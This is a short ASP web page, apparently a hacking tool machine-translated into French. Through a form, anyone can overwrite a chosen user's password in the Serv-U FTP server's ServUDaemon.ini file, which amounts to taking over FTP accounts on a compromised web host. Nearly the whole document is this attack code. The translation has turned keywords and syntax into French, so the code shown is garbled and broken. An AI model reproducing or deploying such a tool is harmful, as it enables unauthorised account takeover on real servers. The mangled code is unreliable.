Le code suivant est testé pour fonctionner sur Serv-U 4.2
<%
'| ############################ |
'| Survivor QQ: 54883661 |
'| Mail: [email protected] |
'| ############################ |
INIPATH = D: / Program Files / Serv-U / Serdaemon.ini 'Définissez le chemin du fichier serdaemon.ini
user = [user = & request (user) & | 1]
pass = mot de passe = & demande (pass)
key = request (key)
Si key <> alors
DIM OS, USERLONG, PASSLONG, PL, SS
Set fso = createObject (scripting.fileSystemObject)
Set OS = FSO.OPENEXTFILE (INIPATH, 1) 'LIRE SERVUDAEMON.INI
s = os.readall
OS.Close
userLong = instr (s, utilisateur) + len (utilisateur) +2
pour i = userlong à userlong + 20
passlong = passlong + 1
Si asc (mid (s, i, 1)) = 13 alors
sortir pour
terminer si
suivant
pl = mid (s, userlong, passlong-1)
SS = Remplacer (S, User & Chr (13) & Chr (10) & PL, User & Chr (13) & Chr (10) & Pass)
set os = fso.createtextfile (Inipath, true) 'Écrivez sur sertudaemon.ini
OS.Write SS
OS.Close
terminer si
%>
<formulaire méthode = post>
Nom d'utilisateur: <entrée type = nom de texte = utilisateur> <br>
Nouveau mot de passe: <Type d'entrée = nom de texte = pass> <br>
<entrée type = soumettre name = key value = modifier> <br>
</ form>